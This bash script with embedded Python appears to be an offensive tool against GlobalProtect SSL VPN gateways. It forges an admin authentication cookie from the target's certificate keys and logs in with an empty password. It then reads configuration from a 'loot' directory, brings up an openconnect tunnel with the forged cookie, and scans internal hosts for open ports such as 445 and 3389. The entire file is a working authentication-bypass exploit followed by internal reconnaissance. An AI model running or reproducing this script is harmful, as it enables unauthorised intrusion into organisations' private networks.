#!/bin/bash
# usage: tunnel_probe.sh <ip>
IP=$1
OUT=$(/root/pt/bin/python3 - "$IP" <<'PY'
import re,sys
sys.path.insert(0,'/root/recon')
import forge_cookie as fc, urllib.parse, urllib.request, ssl
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ip=sys.argv[1]
certs=fc.get_all_public_keys(ip,443)
ck=None
for c in certs[:3]:
    cand=fc.forge_cookie(c.public_key(),'admin',host_id='PC')
    b=urllib.parse.urlencode({'prot':'https','server':ip,'inputStr':'','jnlpReady':'jnlpReady','ok':'Login','direct':'yes','clientVer':'4100','user':'admin','passwd':'','context':'gateway','clientos':'Windows','clientgpversion':'6.0.0','host-id':'PC','computer':'PC','os-version':'Windows 10','portal-userauthcookie':cand,'portal-prelogonuserauthcookie':''}).encode()
    r=urllib.request.Request('https://%s/ssl-vpn/login.esp'%ip,data=b,method='POST')
    r.add_header('Content-Type','application/x-www-form-urlencoded')
    try:
        t=urllib.request.urlopen(r,context=ctx,timeout=20).read().decode()
    except Exception:
        continue
    a=re.findall(r'<argument>(.*?)</argument>',t,re.S)
    if len(a)>5:
        ck=(a[1],a[3])
        break
print('%s|%s' % ck if ck else 'FAIL||')
PY
)
AC=${OUT%%|*}
GW=${OUT##*|}
if [ -z "$AC" ] || [ "$AC" = "FAIL" ]; then echo "$IP LOGINFAIL"; exit 1; fi
XML=/root/recon/loot/cfg/$IP.xml
FLAT=$(tr -d ' \t\n\r' < "$XML" 2>/dev/null)
DNS=$(echo "$FLAT" | grep -oE '<dns><member>[0-9.]+' | head -1 | sed 's/.*<member>//')
SUF=$(echo "$FLAT" | grep -oE '<dns-suffix><member>[^<]+' | head -1 | sed 's/.*<member>//')
ASSIGNED=$(echo "$FLAT" | grep -oE '<ip-address>[0-9.]+' | head -1 | sed 's/.*>//')
ROUTES=$(echo "$FLAT" | grep -oE '<access-routes><member>[^<]+' | sed 's/.*<member>//' | tr '\n' ' ')
echo "== $IP gw=$GW version=$(echo "$FLAT" | grep -oE '<panos-version>[^<]+' | sed 's/.*>//') assigned=$ASSIGNED dns=$DNS suffix=$SUF"
echo "routes: $ROUTES"

timeout 8 openconnect --protocol=gp --user=admin --servercert=pin-sha256:AAAA --non-inter "$IP" </dev/null >/tmp/pin_$IP.log 2>&1
PIN=$(grep -oE 'Unknown certificate hash: pin-sha256:[^ ]+' /tmp/pin_$IP.log | head -1 | sed 's/.*pin-sha256://')
[ -z "$PIN" ] && PIN=$(grep -oE 'pin-sha256:[^ ]+' /tmp/pin_$IP.log | head -1 | sed 's/.*pin-sha256://')
timeout 90 openconnect --protocol=gp --user=admin --cookie="user=admin&authcookie=$AC&portal=$GW&domain=&computer=PC" \
  --servercert=pin-sha256:$PIN --non-inter --script=/usr/share/vpnc-scripts/vpnc-script "$IP" > /tmp/oc_$IP.log 2>&1 &
OCPID=$!
for i in $(seq 1 15); do sleep 2; grep -q 'Configured as' /tmp/oc_$IP.log && break; done
if ! grep -q 'Configured as' /tmp/oc_$IP.log; then
  echo "TUNNEL FAIL"; tail -3 /tmp/oc_$IP.log; kill $OCPID 2>/dev/null; exit 1
fi
grep -E 'Configured as' /tmp/oc_$IP.log | head -1
ip route | grep -E 'tun|10\.' | head -5
if [ -n "$DNS" ]; then
  echo -n "dns-query $SUF: "; timeout 6 dig +short +time=3 +tries=1 @$DNS "$SUF" A 2>&1 | head -2 | tr '\n' ' '; echo
fi
NET=$(echo "$ROUTES" | awk '{print $1}' | cut -d/ -f1 | awk -F. '{print $1"."$2"."$3".1"}')
if [ -n "$NET" ]; then
  echo -n "tcp $NET: "; for p in 443 445 53 80 3389; do timeout 2 bash -c "</dev/tcp/$NET/$p" 2>/dev/null && echo -n "$p=open " || echo -n "$p=x "; done; echo
fi
if [ -n "$DNS" ]; then
  echo -n "tcp $DNS: "; for p in 53 443 80; do timeout 2 bash -c "</dev/tcp/$DNS/$p" 2>/dev/null && echo -n "$p=open " || echo -n "$p=x "; done; echo
fi
kill $OCPID 2>/dev/null
sleep 1
echo "-- done"
